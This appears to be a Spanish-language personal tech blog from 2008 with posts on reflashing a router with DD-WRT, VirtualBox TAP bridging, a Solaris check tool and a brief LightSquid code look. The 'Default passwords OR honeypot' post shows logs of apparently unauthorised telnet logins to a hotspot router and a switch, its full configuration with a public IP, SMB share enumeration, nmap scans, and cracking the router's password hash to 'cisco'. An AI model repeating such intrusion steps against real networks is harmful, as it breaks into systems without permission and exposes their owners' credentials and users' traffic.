Despues de esto lo desconectamos (quitamos el cable de potencia) y lo volvemos a conectar, esperamos un ratico, todavia no funcionan los otros leds, entonces desconectamos nuevamente y preparamos la linea de comandos para reflashear:

[root@nonroot home]# tftp -m binary 192.168.1.1 -c put ./dd-wrt.v24_micro_wrt54gv8.bin

Este comando lo que haces es definir el modo de transferencia a binario, y decirle al cliente tftp que ejecute la accion de subir datos (put), el archivo a subir es obviamente el firmware DD-WRT version 8.

Cuando hagamos esto, esperamos un momento y volvemos a apagar el AP, nuevamente lo encendemos y verificamos que el led de WLAN encienda.

Por ultimo podemos hacer ping a la IP del AP, que seguira siendo 192.168.1.1, si funciona, entonces todo estara bien, si no funciona, tendras que ir a los foros de DD-WRT e intentar lo que te digan para recuperar el AP.

Verificamos que todo vaya bien, accediendo con un navegador a la IP del AP, donde tendremos que encontrar la interfaz web de configuracion del DD-WRT.


FIN

sábado, 2 de febrero de 2008

LightSquid, a 30 seconds check

''' Febrero 3 '''

Segundo 0:
Esperando a que instale la aplicación LightSquid en el PfSenSe v1.2RC4, un poco aburrido con sueño.


Segundo 6:
Que tan segura será la aplicación?

Segundo 10:
Descargo la aplicación y al temporal

Segundo 14:

debian:/tmp/lightsquid-1.7.1# grep -i OPEN *.cgi
bigfiles.cgi:open FF,"<$reportpath/$year$month$day/.bigfiles" || MyDie("cant' open .bigfile");
day_detail.cgi:open FF,"<$daypath/.total";
get.cgi:open F,"<","$tplpath/$templatename/$file" or MyDie("$!\n");
graph.cgi: open FF, "<$daypath/.total";
group_detail.cgi: open FF,"<$workday/.total" or MyDie("can't open file $workday/.total
");

index.cgi: open FF,"<$daypath/.total" || MyDie("can't open file $daypath/.total
");

month_detail.cgi: open FF,"<$daypath/.total";
topsites.cgi: open FF,"<$userpath";
user_detail.cgi: open FF,"<$workday/$user" || MyDie("can't open $daypath/$user");
user_detail.cgi: open FF,"<$reportpath/$year$month$day/.bigfiles";
user_month.cgi: open FF, "<$daypath/.total";
user_time.cgi: open FF,"<$workday/$user" || MyDie("can't open $workday/$user");
whousesite.cgi: open FF,"<$userpath";
debian:/tmp/lightsquid-1.7.1#


segundo 18:
trix se desconecta misteriosamente, i'm alone here

segundo 20:
sigo con sueño, pero algo me da mala espina.

segundo 23:
one shot!.


segundo 26:
take some screenshots

segundo 28:
cancelo la instalada de la aplicación

segundo 29:
me preparo para irme a dormir y decido montar algo temporal en el blog

segundo 30:
save the blog entry.

bye

nota1:: ... es mejor mantenerse ocupado en algo a altas horas de la noche ...
nota2:: soy un adicto a pensar inversamente
nota3:: no lo hagan en casa
nota4:: publicado por tiempo limitado y solo como PoC

miércoles, 30 de enero de 2008

Check tool for Solaris

''' ENERO 30 '''



Me imagino que como yo alguien se preguntará si solaris corre en su maquina?.
Que hace uno si quiere saber si puede montar solaris y si solaris le reconocerá todos los perifericos y todo su hardware interno?.

En el sitio de solaris hay una herramienta llamada Solaris Express Installation Check Tool 1.2, esta herramienta es realmente un liveCD que carga una versión minima de solaris para hacer el chequeo de hardware correspondiente. Una vez hecho esto le da la facilidad al usuario de almacenar los resultados en una memoria USB.

Esta entrada en este blog es para decir que lo baje, lo probé y no funcionó, no porque no diagnostique nada, solo porque nunca cargó el liveCD.
Lo probe en 3 maquinas diferentes + un virtual y en ninguna funcionó.
Sin embargo en esas maquinas tengo corriendo solaris, esa es la parte rara.
Uno de los errores fue este:

SUN recomienda que antes de usar esta herramienta, visite el listado de compatibilidad de hardware, donde podrá verificar si su HW esta soportado.
Si no lo encuentra, entonces use esta herramienta para saber si hay drivers en solaris oficiales que soporten su HW o si puede llegar a ser soportado por drivers de terceros.

Mis tarjetas de red solo funcionan con drivers de terceros, pero eso ya era de suponerse, no son tarjetas de 10Gigas aprobadas por SUN, jeje.

bye.

sábado, 26 de enero de 2008

VirtualBox rulx

''' ENERO 26 '''

He probado varias aplicaciones de virtualizacion que permiten tener varios Sistemas Operativos corriendo en la misma maquina. Pero aún no habia trabajado con http://www.virtualbox.org/.

Segun la wikipedia:

"VirtualBox es un programa de virtualización creado por la empresa alemana de desarrollo de software InnoTek GmbH. El programa es comercial y propietario, si bien en enero de 2007, después de muchos años de desarrollo, se lanzó una versión limitada llamada VirtualBox OSE (Open Source Edition)[1] bajo licencia GPL."

Lo baje para debian, lo instale, instale luego el modulo especifico para la version del kernel para que pueda trabajar bien y me dedique hacer la prueba de montar 3 S.O. con los cuales hago pruebas continuamente (networking, prog., security, etc), la conclusion es que me ha funcionado muy bien.
tengo corriendo las 3 maquinas al mismo tiempo, conectadas a Internet y todo funciona de maravilla, no podria asegurar si sobre windows funciona igual, espero que si.

Algo que todos queremos hacer es que todos los sistemas operativos se vean entre si, si no, no hay chiste. La forma de hacerlo es como lo haciamos en Qemu, generando interfaces de mentiras para luego conectar las maquinas virtuales a esas interfaces.

Esas interfaces son mas conocidad como TAP o TUN si las creamos para trabajar en capa 2 o capa3 respectivamente.

Como solo tengo una interfaz de red lo que hago es crear un puente y asociar a este puente cada dispositivo TAP que cree, de esa forma todos se conectan virtualmente por la misma interfaz de red.

Despues de instalar los paquetes necesarios:

debian:~# dpkg -l | grep virtu
rc virtualbox 1.5.4-27034_Debian_etch innotek VirtualBox
ii virtualbox-ose 1.5.4-dfsg-4 PC virtualization solution
ii virtualbox-ose-guest-utils 1.5.2-dfsg2-7 PC virtualization solution - guest utils
ii virtualbox-ose-modules-2.6.22-3-k7 2.6.22+1.5.2-dfsg2-9 PC virtualization solution modules for Linux
ii virtualbox-ose-source 1.5.4-dfsg-4 Source for the VirtualBox module
debian:~#

(si no le instalan agregue a su sources.list estos:
deb http://www.virtualbox.org/debian gutsy non-free
deb http://www.virtualbox.org/debian feisty non-free
deb http://www.virtualbox.org/debian edgy non-free
deb http://www.virtualbox.org/debian dapper non-free
deb http://www.virtualbox.org/debian etch non-free
deb http://www.virtualbox.org/debian sarge non-free
deb http://www.virtualbox.org/debian xandros4.0-xn non-free
)

Ojo que el paquete de virtualbox del kernel, es para MI kernel, mire que version tiene usted.

Luego puede montar un servidor DHCP, o si ya tiene uno en la red a la que esta conectado, entonces no tendrá problemas.

y entonces cree las interfaces que necesita:

debian:~# cat /bin/tap
insmod /usr/src/modules/virtualbox-ose/vboxdrv.ko
tunctl -t tap1 -u nando
brctl addbr br0
ifconfig eth0 0.0.0.0 promisc
brctl addif br0 eth0
dhclient br0
brctl addif br0 tap1
ifconfig tap1 up
tunctl -t tap2 -u nando
brctl addbr br0
ifconfig eth0 0.0.0.0 promisc
brctl addif br0 tap2
ifconfig tap2 up
tunctl -t tap3 -u nando
brctl addbr br0
ifconfig eth0 0.0.0.0 promisc
brctl addif br0 tap3
ifconfig tap3 up

Eso carga el modulo de VirtualBox y crea las interfaces TAP.
debian:~# ifconfig
br0 Link encap:Ethernet HWaddr 00:11:09:aa:8e:05
inet addr:192.168.0.3 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::211:9ff:feaa:8e05/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:978622 errors:0 dropped:0 overruns:0 frame:0
TX packets:698648 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1306696888 (1.2 GiB) TX bytes:78816225 (75.1 MiB)

eth0 Link encap:Ethernet HWaddr 00:11:09:aa:8e:05
inet6 addr: fe80::211:9ff:feaa:8e05/64 Scope:Link
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:979067 errors:0 dropped:0 overruns:0 frame:0
TX packets:700312 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1320515471 (1.2 GiB) TX bytes:78982896 (75.3 MiB)
Interrupt:18 Base address:0xec00

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:60695 errors:0 dropped:0 overruns:0 frame:0
TX packets:60695 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5488487 (5.2 MiB) TX bytes:5488487 (5.2 MiB)

tap1 Link encap:Ethernet HWaddr 00:ff:79:1c:47:d1
inet6 addr: fe80::2ff:79ff:fe1c:47d1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:355 errors:0 dropped:0 overruns:0 frame:0
TX packets:941 errors:0 dropped:8670 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:46028 (44.9 KiB) TX bytes:314573 (307.2 KiB)

tap2 Link encap:Ethernet HWaddr 00:ff:23:31:53:33
inet6 addr: fe80::2ff:23ff:fe31:5333/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:826 errors:0 dropped:0 overruns:0 frame:0
TX packets:2629 errors:0 dropped:7299 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:65608 (64.0 KiB) TX bytes:714169 (697.4 KiB)

tap3 Link encap:Ethernet HWaddr 00:ff:95:34:65:97
inet6 addr: fe80::2ff:95ff:fe34:6597/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:266 errors:0 dropped:0 overruns:0 frame:0
TX packets:3010 errors:0 dropped:5071 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:35931 (35.0 KiB) TX bytes:700457 (684.0 KiB)

debian:~#

Con las interfaces creadas ya puedo usar el VirtualBox para crear nuevas maquinas, con la diferencia que en la parte de redes puedo hacer algo así:


Seleccionas la opcion de Interfaz anfitrión y luego en el nombre de la interfaz le pones tap1, tap2 o la que sea. el resto de parametros de red no los tienes que configurar.
Con esa información puedes iniciar la instalación de la maquina y en el camino seleccionas que se configure por DHCP y listo.
Cuando termines de instalar estaras en red.

Los sistemas que instale fueron:
  1. Solaris-Expresssss 10/11
  2. OpenBSD4.2-Release
  3. WindowsXP-SP2

El mas lento para instalar, obviamente Solaris, con 6 CD's. Pero una vez instalado funciona correctamente con el CDE y el JavaDesktop.

#OFFTOPIC:

Lo próximo es probar algo como:
http://www.sun.com/software/products/xvm/index.jsp

#FIN OFFTOPIC

Porqué instalar VirtualBox?
  • Es OpenSource
  • Permite huespedes como Solaris, OpenBSD, NetBSD y FreeBSD, fuera de los WIndows
  • Se maneja desde una interfaz gráfica en español con mucha usabilidad
  • Es funcional, rápida, permite pausar, continuar, sacar screenshots organizados
  • Corre en diferentes plataformas
  • Soporta lo que hace Qemu, discos virtuales dinamicos por ejemplo
  • etc.
Prueben, con esas 3 maquinas ajusto 7 sistemas en red para "jugar".

¿ Default passwords OR honeypot ?

''' ENERO 26 '''

Siempre se ha dicho que las claves por defecto pueden ser peligrosas, obviamete si alguien quiere abusar de ellas.

Alguien anonimo me escribio y me mostro esto, nunca supe quien fue, no se que significa y no entiendo las implicaciones del caso. Lo unico que el me dice es que no hay que preocuparse tanto por la infraestructura en sí, que hay que preocuparse por los usuarios de esa red y los ataques de hombre en medio.
Pense acerca de eso y llegue a la conclusion de que es verdad, a muchas compañias fuera de su propia seguridad, le deberia interesar la seguridad de la informacion de sus usuarios.

ideas off topic:

Los hotspots, estaran de moda mucho mas tiempo, los filtros para que solo accedan usuarios validos son vulnerables, las restricciones basicas estan mandadas a recoger, JUNTAR redes administrativas y publicas en HOtspots vuelve el asunto mas HOT.

En resumen:
Cuando se conecte a un HotspoT, por favor verifique que efectivamente sÍ esta navegando a traves del HotspoT y no por medio de alguien mas que estará seguramente capturando sus cookies, sus sesiones, sus claves, sus charlas de MSN, sus charlas de GTALK, AIM, AOL, ICQ, JABBER.

En resumen2:
Nunca podra saber si esta navegando a traves del HotspoT o por medio de alguien, lo siento, el resumen lo cambio a:
Si esta en un HotspoT, no haga cosas importantes, como por ejemplo hablar de usted, decir lo que piensa, hacer citas, describirse, opinar en foros, chats, esto le permitirá a ese usuario perfiilarlo y con eso encontrar sus claves. Lo peor es que siempre podrá encontrar sus claves así las cambie, porque ya lo conoce.


En una ciudad (es peor?):

debian:/# telnet 192.168.1.252
Trying 192.168.1.252...
Connected to 192.168.1.252.
Escape character is '^]'.


User Access Verification

Password:
Router_NAT_Puente_Aereo>enable
Password:
Router_NAT_Puente_Aereo#

then ...

cocolizo@debian:~$ smbclient -L 192.168.1.25
Password:
Domain=[GERENCIA] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
D$ Disk Default share
print$ Disk Printer Drivers
SharedDocs Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
session request to 192.168.1.25 failed (Called name not present)
session request to 192 failed (Called name not present)
Domain=[GERENCIA] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment
--------- -------

Workgroup Master
--------- -------
perezgil@debian:~$

then ...

debian:/# nmap 192.168.1.252

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-11-16 06:18 COT
Interesting ports on 192.168.1.252:
Not shown: 1679 closed ports
PORT STATE SERVICE
23/tcp open telnet
MAC Address: 00:04:DD:0C:BD:F3 (Cisco Systems)

Nmap finished: 1 IP address (1 host up) scanned in 8.335 seconds
debian:/home/testing/Desktop/nmbscan-1.2.4# nmap 192.168.1.253

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-11-16 06:19 COT
Interesting ports on 192.168.1.253:
Not shown: 1678 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
MAC Address: 00:0A:41:23:AC:00 (Cisco Systems)

Nmap finished: 1 IP address (1 host up) scanned in 9.633 seconds
debian:/#

then ...

debian:/home/police/portatil# cat log4
Router_NAT_Puente_Aereo#show running-config
Building configuration...

Current configuration : 1458 bytes
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Router_NAT_Puente_Aereo
!
logging buffered 51200 warnings
enable secret 5 $1$e.68$du0SEpfijiA228uacanXU1
!
memory-size iomem 15
clock timezone BOGOTA -5
ip subnet-zero
!
!
ip name-server 200.13.249.101
ip name-server 200.75.78.78
ip dhcp excluded-address 192.168.1.1 192.168.1.11
!
ip dhcp pool pteaereo
network 192.168.1.0 255.255.255.0
dns-server 200.13.249.101 200.75.78.78
default-router 192.168.1.252
lease 0 0 30
!
ip dhcp-server 192.168.254.252
!
!
interface Ethernet0/0
description Conexion al Switch LAN WiFi
ip address 192.168.1.252 255.255.255.0
ip nat inside
load-interval 30
half-duplex
no cdp enable
hold-queue 100 out
!
interface FastEthernet0/0
description Conexion Back-to-back al CPE
ip address 201.232.227.234 255.255.255.248
ip nat outside
load-interval 30
speed auto
no cdp enable
hold-queue 100 out
!
ip nat translation max-entries 3000
ip nat pool pteaereo 201.232.227.235 201.232.227.237 netmask 255.255.255.248
ip nat inside source list 1 pool pteaereo overload
ip classless
ip route 0.0.0.0 0.0.0.0 201.232.227.233
no ip http server
ip pim bidir-enable
!
access-list 1 permit 192.168.1.0 0.0.0.255
no cdp run
!
call rsvp-sync
!
!
mgcp profile default
!
dial-peer cor custom
!
!
!
!
line con 0
line aux 0
line vty 0 4
password cisco
login
!
no scheduler allocate
end

Router_NAT_Puente_Aereo#

then ...

just for checking, i know what it is.

debian:/home/john/john-1.7.2/run# cat ../../pass
root:$1$e.68$du0SEpfijiA228uacanXU1::::::::
debian:/home/john/portatil/john-1.7.2/run# ./john ../../pass
Loaded 1 password hash (FreeBSD MD5 [32/32])
cisco (root)
guesses: 1 time: 0:00:00:57 (3) c/s: 3165 trying: cisco
debian:/home/john/portatil/john-1.7.2/run# cat ./john.pot
$1$e.68$du0SEpfijiA228uacanXU1:cisco
debian:/home/john/portatil/john-1.7.2/run#


En otra ciudad (es mejor?):

debian:/home/scanner/portatil# cat nothing.txt
Trying 192.168.10.14...
Connected to 192.168.10.14.
Escape character is '^]'.

Catalyst 1900 Management Console
Copyright (c) Cisco Systems, Inc. 1993-1998
All rights reserved.
Enterprise Edition Software
Ethernet Address: 00-D0-C0-6D-CE-00

PCA Number: 73-3122-03
PCA Serial Number: FAB03183C6N
Model Number: WS-C1912-EN
System Serial Number: FAB0320T02R
Power Supply S/N: PHI031600M2
Power Supply P/N:
PCB Serial Number: FAB03183C6N,73-3122-03
-------------------------------------------------

1 user(s) now active on Management Console.

User Interface Menu

[M] Menus
[K] Command Line

Enter Selection: M
Enter password: ******

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

WARNING: Too many failed logon attempts.

debian:/home/babysister/portatil# cat ohyeah.txt
Trying 192.168.10.14...
Connected to 192.168.10.14.
Escape character is '^]'.

Catalyst 1900 Management Console
Copyright (c) Cisco Systems, Inc. 1993-1998
All rights reserved.
Enterprise Edition Software
Ethernet Address: 00-D0-C0-6D-CE-00

PCA Number: 73-3122-03
PCA Serial Number: FAB03183C6N
Model Number: WS-C1912-EN
System Serial Number: FAB0320T02R
Power Supply S/N: PHI031600M2
Power Supply P/N:
PCB Serial Number: FAB03183C6N,73-3122-03
-------------------------------------------------

1 user(s) now active on Management Console.

User Interface Menu

[M] Menus
[K] Command Line

Enter Selection: M
Enter password: ******

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

WARNING: Too many failed logon attempts.

debian:/home/fisher/portatil# cat Slog.txt
Trying 192.168.10.14...
Connected to 192.168.10.14.
Escape character is '^]'.


Catalyst 1900 Management Console
Copyright (c) Cisco Systems, Inc. 1993-1998
All rights reserved.
Enterprise Edition Software
Ethernet Address: 00-D0-C0-6D-CE-00

PCA Number: 73-3122-03
PCA Serial Number: FAB03183C6N
Model Number: WS-C1912-EN
System Serial Number: FAB0320T02R
Power Supply S/N: PHI031600M2
Power Supply P/N:
PCB Serial Number: FAB03183C6N,73-3122-03
-------------------------------------------------

1 user(s) now active on Management Console.

User Interface Menu

[M] Menus
[K] Command Line

Enter Selection: K


CLI session with the switch is open.
To end the CLI session, enter [Exit].

sw>show version
Cisco Catalyst 1900/2820 Enterprise Edition Software
Version V8.01.00
Copyright (c) Cisco Systems, Inc. 1993-1998
sw uptime is 11day(s) 03hour(s) 54minute(s) 49second(s)
cisco Catalyst 1900 (486sxl) processor with 2048K/1024K bytes of memory
Hardware board revision is 5
Upgrade Status: No upgrade currently in progress.
Config File Status: No configuration upload/download is in progress
15 Fixed Ethernet/IEEE 802.3 interface(s)
Base Ethernet Address: 00-D0-C0-6D-CE-00
sw>?
Exec commands:
enable Turn on privileged commands
exit Exit from the EXEC
help Description of the interactive help system
ping Send echo messages
session Tunnel to module
show Show running system information
terminal Set terminal line parameters
sw>
sw>exit

CLI session with the switch is now closed.

Press any key to continue.

Entradas populares